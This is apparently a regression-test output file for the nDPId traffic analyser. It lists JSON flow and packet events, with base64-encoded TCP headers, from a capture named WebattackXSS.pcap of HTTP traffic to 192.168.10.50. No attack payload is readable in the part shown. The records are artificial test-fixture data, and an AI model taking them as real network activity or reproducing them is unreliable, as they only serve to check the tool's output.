+00430{"flow_id":24,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":339,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347002,"pkt_ts_usec":400545,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0d7xAAD4GThysEAABwKgKMs1sAFBA8H5qdwV7UIAQAOWVSAAAAQEICgE5CdID4ttJ"} +00430{"flow_id":21,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":343,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347002,"pkt_ts_usec":611465,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ZWZAAD4GYHKsEAABwKgKMs02AFBhbWHAksukbIARAOVRigAAAQEICgE5CgcD4tZS"} +00430{"flow_id":21,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":344,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347002,"pkt_ts_usec":611661,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0fxJAAEAGRMbAqAoyrBAAAQBQzTaSy6RsYW1hwYARAONMXwAAAQEICgPi234BOQoH"} +00430{"flow_id":21,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":345,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347002,"pkt_ts_usec":612432,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ZWdAAD4GYHGsEAABwKgKMs02AFBhbWHBksukbYAQAOVMXQAAAQEICgE5CgcD4tt+"} +00430{"flow_id":22,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":349,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347003,"pkt_ts_usec":611530,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0K35AAD4GmlqsEAABwKgKMs1EAFB2Xi1sGwc7eoARAOVPYAAAAQEICgE5CwED4teO"} +00430{"flow_id":22,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":350,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347003,"pkt_ts_usec":611745,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA05wJAAEAG3NXAqAoyrBAAAQBQzUQbBzt6dl4tbYARAONKdwAAAQEICgPi3HgBOQsB"} +00430{"flow_id":22,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":351,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347003,"pkt_ts_usec":612532,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0K39AAD4GmlmsEAABwKgKMs1EAFB2Xi1tGwc7e4AQAOVKdQAAAQEICgE5CwED4tx4"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":352,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1499347003695,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52602,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":352,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347003,"pkt_ts_usec":695813,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ZUVAAD4GYIusEAABwKgKMs16AFBCXW5TAAAAAKACchDUOQAAAgQFtAQCCAoBOQsWAAAAAAEDAwc="} +00442{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":353,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347003,"pkt_ts_usec":695945,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzXqmA8avQl1uVKAScSCH9QAAAgQFtAQCCAoD4tyNATkLFgEDAwc="} +00431{"flow_id":25,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":354,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347003,"pkt_ts_usec":696698,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ZUZAAD4GYJKsEAABwKgKMs16AFBCXW5UpgPGsIAQAOUm\/QAAAQEICgE5CxYD4tyN"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":367,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1499347006233,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52628,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":367,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347006,"pkt_ts_usec":233648,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8WV1AAD4GbHOsEAABwKgKMs2UAFDN5FTMAAAAAKACchBfpAAAAgQFtAQCCAoBOQ2RAAAAAAEDAwc="} +00442{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":368,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347006,"pkt_ts_usec":233797,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzZSBD41szeRUzaAScSBvHQAAAgQFtAQCCAoD4t8HATkNkQEDAwc="} +00430{"flow_id":26,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":369,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347006,"pkt_ts_usec":234357,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0WV5AAD4GbHqsEAABwKgKMs2UAFDN5FTNgQ+NbYAQAOUOJQAAAQEICgE5DZED4t8H"} +00430{"flow_id":23,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":373,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347006,"pkt_ts_usec":611789,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0kNpAAD4GNP6sEAABwKgKMs1eAFDMzJhJKund24ARAOXWTwAAAQEICgE5De8D4toH"} +00430{"flow_id":23,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":374,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347006,"pkt_ts_usec":612057,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0Ar1AAEAGwRvAqAoyrBAAAQBQzV4q6d3bzMyYSoARAOPQ8QAAAQEICgPi32YBOQ3v"} +00430{"flow_id":23,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":375,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347006,"pkt_ts_usec":612841,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0kNtAAD4GNP2sEAABwKgKMs1eAFDMzJhKKund3IAQAOXQ7wAAAQEICgE5De8D4t9m"} +00495{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":376,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":30,"flow_first_seen":1499346935283,"flow_last_seen":1499346941359,"flow_tot_l4_data_len":16724,"flow_min_l4_data_len":32,"flow_max_l4_data_len":7272,"flow_avg_l4_data_len":557,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52098,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00527{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":376,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":6,"flow_first_seen":1499346935343,"flow_last_seen":1499346941289,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52100,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00489{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":376,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":6,"flow_first_seen":1499346935343,"flow_last_seen":1499346941289,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52100,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00527{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":376,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":6,"flow_first_seen":1499346935650,"flow_last_seen":1499346941289,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52118,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00489{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":376,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":6,"flow_first_seen":1499346935650,"flow_last_seen":1499346941289,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52118,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00527{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":376,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":6,"flow_first_seen":1499346935650,"flow_last_seen":1499346941289,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52120,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00489{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":376,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":6,"flow_first_seen":1499346935650,"flow_last_seen":1499346941289,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52120,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":379,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1499347007496,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52642,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":379,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347007,"pkt_ts_usec":496086,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8xEhAAD4GAYisEAABwKgKMs2iAFDPCcqEAAAAAKACchDnfQAAAgQFtAQCCAoBOQ7MAAAAAAEDAwc="} +00442{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":380,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347007,"pkt_ts_usec":496189,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzaKR1tjLzwnKhaAScSCZlAAAAgQFtAQCCAoD4uBDATkOzAEDAwc="} +00430{"flow_id":27,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":381,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347007,"pkt_ts_usec":496970,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0xElAAD4GAY+sEAABwKgKMs2iAFDPCcqFkdbYzIAQAOU4nAAAAQEICgE5DswD4uBD"} +00430{"flow_id":24,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":385,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347007,"pkt_ts_usec":612013,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0d71AAD4GThusEAABwKgKMs1sAFBA8H5qdwV7UIARAOWQMAAAAQEICgE5DukD4ttJ"} +00430{"flow_id":24,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":386,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347007,"pkt_ts_usec":612264,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0mzBAAEAGKKjAqAoyrBAAAQBQzWx3BXtQQPB+a4ARAOOLGgAAAQEICgPi4GABOQ7p"} +00430{"flow_id":24,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":387,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347007,"pkt_ts_usec":612999,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0d75AAD4GThqsEAABwKgKMs1sAFBA8H5rdwV7UYAQAOWLGAAAAQEICgE5DukD4uBg"} +00430{"flow_id":25,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":394,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347009,"pkt_ts_usec":611765,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ZUdAAD4GYJGsEAABwKgKMs16AFBCXW5UpgPGsIARAOUhNQAAAQEICgE5EN0D4tyN"} +00430{"flow_id":25,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":395,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347009,"pkt_ts_usec":612008,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0JORAAEAGnvTAqAoyrBAAAQBQzXqmA8awQl1uVYARAOMbbwAAAQEICgPi4lQBORDd"} +00430{"flow_id":25,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":396,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347009,"pkt_ts_usec":612559,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ZUhAAD4GYJCsEAABwKgKMs16AFBCXW5VpgPGsYAQAOUbbQAAAQEICgE5EN0D4uJU"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":400,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1499347010080,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52668,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":400,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347010,"pkt_ts_usec":80677,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8aVxAAD4GXHSsEAABwKgKMs28AFAhFXgOAAAAAKACchDlSAAAAgQFtAQCCAoBORFSAAAAAAEDAwc="} +00442{"flow_id":28,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":401,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347010,"pkt_ts_usec":80807,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzbww\/OHGIRV4D6AScSDsuAAAAgQFtAQCCAoD4uLJATkRUgEDAwc="} +00429{"flow_id":28,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":402,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347010,"pkt_ts_usec":81582,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aV1AAD4GXHusEAABwKgKMs28AFAhFXgPMPzhx4AQAOWLvwAAAQEICgE5EVMD4uLJ"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":409,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1499347011349,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52682,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":409,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347011,"pkt_ts_usec":349958,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8RzxAAD4GfpSsEAABwKgKMs3KAFCfKlWsAAAAAKACchCISQAAAgQFtAQCCAoBORKQAAAAAAEDAwc="} +00442{"flow_id":29,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":410,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347011,"pkt_ts_usec":350111,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzcqa6hS4nypVraAScSDxmwAAAgQFtAQCCAoD4uQHATkSkAEDAwc="} +00430{"flow_id":29,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":411,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347011,"pkt_ts_usec":350820,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Rz1AAD4GfpusEAABwKgKMs3KAFCfKlWtmuoUuYAQAOWQowAAAQEICgE5EpAD4uQH"} +00430{"flow_id":26,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":415,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347011,"pkt_ts_usec":612166,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0WV9AAD4GbHmsEAABwKgKMs2UAFDN5FTNgQ+NbYARAOUI5AAAAQEICgE5EtED4t8H"} +00430{"flow_id":26,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":416,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347011,"pkt_ts_usec":612442,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0aSVAAEAGWrPAqAoyrBAAAQBQzZSBD41tzeRUzoARAOMDpAAAAQEICgPi5EgBORLR"} +00430{"flow_id":26,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":417,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347011,"pkt_ts_usec":612983,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0WWBAAD4GbHisEAABwKgKMs2UAFDN5FTOgQ+NboAQAOUDogAAAQEICgE5EtED4uRI"} +00430{"flow_id":27,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":421,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347012,"pkt_ts_usec":612385,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0xEpAAD4GAY6sEAABwKgKMs2iAFDPCcqFkdbYzIARAOUznAAAAQEICgE5E8sD4uBD"} +00430{"flow_id":27,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":422,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347012,"pkt_ts_usec":612612,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0PY5AAEAGhkrAqAoyrBAAAQBQzaKR1tjMzwnKhoARAOMungAAAQEICgPi5UIBORPL"} +00430{"flow_id":27,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":423,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347012,"pkt_ts_usec":613369,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0xEtAAD4GAY2sEAABwKgKMs2iAFDPCcqGkdbYzYAQAOUumwAAAQEICgE5E8wD4uVC"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":424,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1499347012617,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52696,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":424,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347012,"pkt_ts_usec":617694,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8mKRAAD4GLSysEAABwKgKMs3YAFAU4YtpAAAAAKACchDbigAAAgQFtAQCCAoBORPNAAAAAAEDAwc="} +00442{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":425,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347012,"pkt_ts_usec":617842,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzdgtNmaCFOGLaqAScSBfigAAAgQFtAQCCAoD4uVEATkTzQEDAwc="} 